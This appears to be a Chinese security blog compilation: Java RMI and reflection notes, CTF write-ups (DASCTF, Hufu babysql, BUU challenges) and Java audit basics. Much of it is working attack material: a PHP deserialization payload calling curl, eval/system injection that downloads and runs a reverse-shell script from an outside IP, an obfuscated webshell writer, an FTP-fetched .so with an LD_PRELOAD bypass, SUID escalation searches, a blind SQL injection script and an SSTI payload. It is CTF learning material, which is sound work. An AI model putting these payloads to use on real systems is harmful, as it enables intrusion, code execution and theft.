java审计-rmi协议

RMI

RMI是Remote Method Invocation,远程方法调用。是让java虚拟机上的对象调用另一个java虚拟机中对象上的方法。

RMI Server:

package org.vulhub.RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
//继承了java.rmi.Remote接口,其中定义我们要远程调用的函数hello
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
//实现此接口的类
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException{
System.out.println("call from");
return "hello world";
}
}
//主类,用来创建Registry,并将上面的类实例化后绑定到一个网址
private void start() throws Exception{
RemoteHelloWorld h=new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello",h);
}

public static void main(String[] args) throws Exception{
new RMIServer().start();

}
}

分析:

LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello",new RemoteHelloWorld());

第一行创建并运行RMI Registry,第二行将Rexxx对象绑定到Hello这个名字上。

Naming.bind的第一个参数是一个URL,形如:rmi://host:port/name。其中,host和port就是RMI Registry的地址和端口,name是远程对象的名字。

如果RMI Registry在本地运行,则host和port可以省略,默认为1099

RMI client:

package org.vulhub.Train;

import org.vulhub.RMI.RMIServer;

import java.rmi.Naming;

public class TrainMain {
public static void main(String[] args) throws Exception{
RMIServer.IRemoteHelloWorld hello=(RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://127.0.0.1:1099/Heelo");
String ret= hello.hello();
System.out.println(ret);
}
}

通信分析

整个通信过程进行了两次TCP握手,建立了两次TCP连接,首先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息,然后Registry返回一个序列化的数据,这个就是找到的Name=Hello的对象,这个对应数据流中的ReturnData消息;客户端反序列化该对象,发现该对象是一个远程对象

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMIServer;最后,远程⽅法实际上在RMI Server上调⽤。

安全问题

1.list+lookup远程调用

list方法可以列出目标上所有绑定的对象:

String[] s= Naming.list("rmi://xxx");

而lookup作用就是获得某个远程对象,若存在危险方法,则可进行调用

2.RMI利用codebase执行任意代码

codebase:是一个地址,告诉java虚拟机我们应该从哪个地方去搜索类,通常是远程URL、比如http、ftp等。

如果我们指定codebase=http://exampl.com/,然后加载org.vulhub.example.Example类,则java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。

RMI流程中,反序列化时发现一个对象,先会在CLASSPAATH下寻找,若没找到,则会远程加载codebase中的类。

攻击条件

PS:当java.rmi.server.useCodebaseOnly为true时,java虚拟机将只信任预先配置好的codebase。

classAnnotations

可以使用SerializationDumper查看数据包中的java反序列化内容

通过修改classAnnotations可以控制codebase。

2022LINE-CTF

2022DASCTF_3

前言

这几天都在护网,正好有比赛,打的累的时候就来看看题转换一下心情

ezpop

简单的pop链,后面记得覆盖一下就好

<?php
class fin
{
public $f1;


}
class what
{
public $a;

}
class mix
{
public $m1;



}
class crow
{
public $v1;
public $v2;

}
$a=new fin();
$b=new what();
$c=new mix();
$d=new crow();
$e=new fin();
$f=new mix();
$e->f1=$f;
$f->m1="\n system('curl xx');";
$d->v1=$e;
$c->m1=$d;
$b->a=$c;
$a->f1=$b;
$h=serialize($a);
echo urlencode($h);

calc

python的,很少做打python的题目,所以很多姿势都不是很清楚

1.import导入类并继承加载

这也是搜索出来比较多的方法,但是他把很多东西都过滤了,所以这种方法不太行

'import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__'

2.非预期

这里先积累一个非预期吧,这个地方的思路也挺巧妙的

data = eval("7*7#`curl http://11xxx:9999`")
os.system(log)

利用的是两种语言加载一样的特性,eval加载的是python的语言,而system使用的是shell语言特性,所以我们首先让eval执行7*7并先注释掉后面的内容,然后使用system去执行反引号内的系统命令,那么这就意味着,我们此时得到了一个无回显的shell

echo {0} {1} "7*7#`xxxxx`"> ./tmp/log.txt

接下来我们可以是curl命令下载一个反弹shell的sh文件到tmp目录下,并执行这个sh文件就行了

7*7%23`curl%09http://110.42.1/aa>/tmp/a` 
7*7%23`chmod%09777%09/tmp/a` 
`/tmp/a` 

小结

感觉做这题的时候,思维有点被禁锢住了,其实看到一个eval和一个system的时候,就要想到语言的差异性往往也是引起漏洞的开始

upgdstore

可以传phpinfo(),但是过滤了很多关键字,所以还是要先拿到他的源码才行,发现过滤了file关键字,可以采取拼接的方式进行绕过

<?php echo ('fil'.'e_get_contents')('/var/www/html/index.php');

拿到源码

<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}


return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;


if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}

发现确实过滤了很多东西,但是我们现在可以通过拼接绕过,接下来就是考虑如何写入webshell 了,直接贴一下大师傅的文章,利用的是内置类SplFileObject::fwrite写入内容,并且使用define定义常量将其写入文件中,没见过的姿势,学习了

<?php
define("EV", "eva"."l");
define("GETCONT", "fil"."e_get_contents");
// 由于禁止了$,我们只能从已有的地方获取$符
define("D",(GETCONT)('/var/www/html/index.php')[353]);
define("SHELL","<?php ".EV."(".D."_POST['a']);");
echo (GETCONT)('./shell.php');

class splf extends SplFileObject {

public function __destruct() {
parent::fwrite(SHELL);
}
}

define("PHARA", new splf('shell.php','w'));

获得一句话木马的shell以后,就需要绕一下disable_function了,这里一般考虑的也是写入ld更改环境变量

写入环境变量是通过在本地搭建一个ftp服务,然后

a=
$local_file = '/tmp/hack1.so';
$server_file = 'hack.so';
$ftp_server = '110.xxxx.120';
$ftp_port=25;

$ftp = ftp_connect($ftp_server,$ftp_port);


$login_result = ftp_login($ftp, 'anonymous', '');
ftp_pasv($ftp,1);

if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}

ftp_close($ftp);

这里值得一提的是,这个ftp服务应该是要和so文件放在同一目录下,不然就要写绝对路径(应该是这样),然后如果你要是用本来已经开启的ftp服务,需要在login那边写一下你的账号密码才行

img

这个时候就成功写入了,接下来就是putenv+mail函数反弹shell即可

putenv("LD_PRELOAD=/var/www/vhosts/topleadtool.com/httpdocs/inc/hack.so");
mail("a@localhost","","","","");

拿flag的时候发现权限不够,需要提权,最近的那个洞不行,所以suid尝试一下

find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

新学了几个姿势,然后就可以getshell了

img

2022虎符

babysql

比赛的时候一开始没发现过滤了空格,所以一直出不了,后来才发现,所以说,对于不确定的正则表达式还是要去实际测试一下才行,然后一看就是要盲注,由于过滤了括号

.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();

所以首选肯定是case,接下来就是构造盲注语句了,由于是要用regexp来构造,读一下文档,发现regexp可以直接作为等号来使用,并且无需空格,可直接比对内容,一开始构造的是,问题在于直接这样是会爆出语法错误的,这个时候’1’和case直接需要有东西隔开,当时思维禁锢住了,没想到使用||。。。。傻逼了

or'1'='1'case'1'whenxxxx

构造出来以后可以得到

'a'||case'1'when'1'then'1'else'0'end||'a';

,接下来就是使用regexp进行盲注,盲注的结果分为两种,一种是状态401,一种是状态500,500是因为报错才会产生的,所以我们就构造一个报错盲注,由于不能使用函数,所以这里可以通过数值之间的大数运算来引起报错

'a'||case'1'when'1'then'1'else~0+~0+'a'end||'a';

接下来就是完善最重要的regexp的盲注部分了

'||case'1'when`username`regexp'^Db'then'1'else~0+~0+'a'end||'a' limit 1;

但是接下来还需要解决大小写问题,查阅mysql8.0的文档,发现regexp在比对的时候可以设置字符集用来表示规则(也就是可以比对大小写)但是我在本地测试的时候,发现要使用对应数据库的编码形式才可以,看了一下hint,可以发现这个数据库是使用这个编码规则的

COLLATE=utf8mb4_0900_as_cs

所以我们的payload也呼之欲出了,使用

'||case'1'when`username`regexp'a'COLLATE‘utf8mb4_0900_as_cs’then'1'else~0+~0+'a'end||'a

接下来就是写成脚本了

import requests
import string
url="http://110.42.133.120:8080/login"
s=requests.session()
#a=string.printable
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!%&'/:<=>@[]^_`{}~^!$"
print(a)
print(a[-3:])
str = ""#aeoo
for j in range(0,100):
for i in a:
if i in a[-3:]:
i=i.replace(i,f'\\\\{i}')
payload=f"a'||case'1'when`password`regexp'^{str+i}'COLLATE`utf8mb4_0900_as_cs`then'1'else~0+~0+'a'end||'a"
data={
"username":payload,
"password":"a"
}
r=s.post(url,data=data).text
print(r)
print(payload)
if "401" in r:
if "\\" in i:
i.replace("\\\\","")
str+=i
print(f"[+]{str}")
break

java审计(三)

单例模式下如何通过反射实现命令执行

getMehtod和invoke方法

getMethod的作用是通过反射获取一个类的某个特定的公有方法,java中支持类的重载,我们不能仅通过函数名来确定一个函数,所以在调用getMethod的时候,我们需要传入需要获取的函数的参数类型列表

例子:

getMethod("exec",String.class)

invoke的作用是执行方法,它的第一个参数是:
1.如果是普通方法,那么第一个参数是类对象
2.如果是静态方法,则第一个参数是类

payload:

Class clazz= Class.forName("java.lang.runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exec");

将上述paylaod分解完以后可得

Class clazz=Class.forName("java.lang.runtime");
Method execMethod=clazz.getMethod("exec",String.class);
Method getRuntimeMethod=clazz.getMethod("getRuntime");
Object runtime =getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"calc.exec");

getConstructor

1.getConstructor接收的参数是构造函数列表类型,
2.获取到构造函数后,使用newInstance来执行

eg:
使用反射获取ProcessBuilder的构造函数,然后调用start()来执行命令

Class clazz=Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("cacl.exe"))).start();

ProcessBuilder有两个构造函数:

1.public ProcessBuilder(List<string> command)
2.public ProcessBuilder(String... command)

但是第一个形式使用了强制类型转化(区别看下面)

但是在表达式上下文中没有此语法,因此需要利用反射

Class clazz = Class.forName("java.lang.ProcessBuilder");clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

通过getMethod(“start”)获取到start方法,然后invoke执行,invoke的第一个参数就是ProcessBuilder Object。

对比一下两者的区别,前者是强制转化为函数来执行命令了,后者是通过反射调用类和方法来执行。

可变长参数

可变长参数,java在编译的时候会编译成一个数组

public void hello(String[] names){}
public void hello(String...names){}

用法

对于反射而言,如果要获取的目标函数里包含可边长参数,则只需将其作为数组即可。

将字符串数组的类String[].class传给getConstructor,获取ProcessBuilder的第二种构造函数:

Class clazz=class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)

在调用newInstance的时候,接受的是一个可变长参数,我们传给ProcessBuilder的也是,二者叠加变成二维数组
payload:

Class clazz = Class.forName("java.lang.ProcessBuilder");((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

私有方法进行反射

getDeclared:
1.getMethod系列方法获取的是当前类中的所有公共方法,包括从父类继承的方法
2.getDeclaredMethod系列方法获取的是当前类中声明的方法,是写在这个类里的,包括私有的方法,但从父类哪里继承来的就不包含了

差异:大概就是getDeclaredMethod可以直接获得到类的私有对象并且可以实例化

Class clazz = Class.forName("java.lang.ProcessBuilder");((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();

setAccessible作用在于修改作用域,否则无法调用

小结

看了这么多,大概总结一下,其实就是区分不同情况如何实现命令执行,单利模式,私有方法,使用getMethod或者使用getConstructor,或者是getDeclared来调用其方法,然后在这之前需要用forname,或者是其他方法来获取到这个对象,才可调用其方法

java审计入门(一)

写在前面

这几天一直陆陆续续在学java的代码审计,但是总感觉学的不是很顺畅,所以去《代码审计》星球看了一个入门的panda师傅写的java审计,一开始的基础知识就跟着打一遍吧

基础知识

1.包的命名规范

(1)indi:

个体项目:指个人发起,但非自己独立完成的项目,可公开或私有项目,copyright主要属于发起者
包名为:indi.发起者名.项目名.模块名.。。。

(2)pers:

个人项目:指个人发起,独自完成,可分享的项目,copyright主要属于个人。
包名为pers.个人名.项目名.模块名.。。。

(3)priv:

私有项目:指个人发起,独立完成,非公开的私人使用的项目,copyright属于个人
包名为priv.个人名.项目名.模块名.。。。

(4)onem:

与indi 相同,推荐使用indi

(5)team:

团队项目,指由团队发起,并由该团队开发的项目,copyright属于该团队所有
包名为:team.团队名.项目名.模块名.。。。

(6)com:

公司项目,copyright由项目发起的公司所有
包名为:com.公司名.项目名.模块名.。。。

持久层:dao、persist、mapper
实体类:entity、model、bean、javabean、pojo
业务逻辑:service、biz
控制器:controller、servlet、action、web
过滤器:filter
异常:exception
监听器:listener
在不同的框架下一班包的命名规则不同,但大概如上,不同功能的java文件放在不同的包中,根据java文件的功能统一安放及命名。

2.servlet

什么是servlet?

java Servlet是运行在web服务器或应用服务器上的程序,它是作为来自web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层。

Servlet执行以下任务:

  • 读取客户端(浏览器)发送的显示的数据,包括网页上的HTML表单,或者也可以是来自applet或自定义的HTTP客户端程序的表单。

  • 读取客户端(浏览器)发送的隐式的HTTP请求数据。这包括cookies、媒体类型和浏览器能理解的压缩格式等

  • 处理数据并生成结果,这个过程可能需要访问数据库,执行RMI或CORBA调用,调用web服务,或者直接计算得出对应的响应。

  • 发送显示的数据(即文档)到客户端(浏览器)。该文档的格式可以是多种多样的,包括文本文件(html或xml)、二进制文件(GIF图像)、excel等。

  • 发送隐式的http响应到客户端(浏览器)。这包括告诉浏览器或其他客户端被返回的文档类型(如html),设置cookies和缓存参数,以及其他类似的任务。

Servlet 生命周期

Servlet 生命周期可被定义为从创建直到毁灭的整个过程。以下是 Servlet 遵循的过程:

  • Servlet 通过调用 init () 方法进行初始化。
  • Servlet 调用 service() 方法来处理客户端的请求。
  • Servlet 通过调用 destroy() 方法终止(结束)。

最后,Servlet 是由 JVM 的垃圾回收器进行垃圾回收的。

这里主要介绍一下service() 方法。

service() 方法是执行实际任务的主要方法,Servlet 容器(即 Web 服务器)调用 service() 方法来处理来自客户端(浏览器)的请求,并把格式化的响应写回给客户端。每次服务器接收到一个 Servlet 请求时,服务器会产生一个新的线程并调用服务。service() 方法检查 HTTP 请求类型(GET、POST、PUT、DELETE 等),并在适当的时候调用 doGet、doPost、doPut,doDelete 等方法。

public void service(ServletRequest request, ServletResponse response) 
throws ServletException, IOException{
...
}

以上代码,即为一个service()方法的特征

使用java进行远程docker容器debug

首先从docker中将启动的jar包打包出来

docker cp 7d:/opt/solr/server/start.jar D:\javaprogram\log4j2

buu刷题2

EasyBypass

?comm1=index.php";m4 /fla?;"
&comm2=1
?comm1=index.php";tac/fla?;"
&comm2=1

[pasecactf_2019]flask_ssti

{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}

由于文件之前是有被打开过的,所以可以直接使用读取prod来读取

/proc/self/fd/3

[安洵杯 2019]iamthinking

parse_url用///public/?payload=来绕过

[CISCN2019 总决赛 Day1 Web4]Laravel1